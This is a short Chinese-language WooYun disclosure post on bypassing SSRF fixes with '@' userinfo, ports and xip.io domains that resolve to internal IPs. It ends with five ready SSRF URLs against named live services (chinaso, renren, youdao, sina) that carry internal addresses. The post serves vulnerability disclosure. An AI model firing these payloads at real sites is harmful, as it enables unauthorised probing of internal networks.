WooYun.org

针对SSRF漏洞，一般修复的时候是获取到提交的url，获得hosts，判断host是否为内网ip。
于是有这种情况：
例如http://127.0.0.1/asd.html,修复时容易出现的获取host时以/分割来确定host。
但这样可以用http://[email protected]/这样绕过。例如： WooYun: 人人网某处SSRF漏洞可猜解内网
或者加一个端口绕过。例如： WooYun: 内网编织者百度内网手动编织!
所以这种情况需要进一步过滤，取@后面的内容和端口后作为host进行判断。
大部分厂商修复的时候都是按照这样的思路。所以出现了下面的绕过方法。
如果把test.com指向内网地址，则完全可以提交test.com绕过前面的过滤，探测内网。
搜索了一下wooyun有史以来提交的SSRF，进行验证。
很多厂商直接取消了相应功能，还有部分成功修复漏洞，但只占少数。
先科普一下一个可以指向任意ip的域名：xip.io
用法：
10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1
于是测试了一下，以下地址SSRF漏洞可被绕过。
http://tp.chinaso.com/web?url=http://www.10.10.0.179.xip.io&fr=client

http://widget.renren.com/dialog/share?resourceUrl=http://www.10.10.16.224.xip.io

http://share.renren.com/share/buttonshare.do?link=http://www.10.10.16.224.xip.io

http://note.youdao.com/memory/?url=http://www.10.120.182.20aaa.xip.io

http://qing.blog.sina.com.cn/blog/controllers/share.php?url=www.127.0.0.1.xip.io/asd.html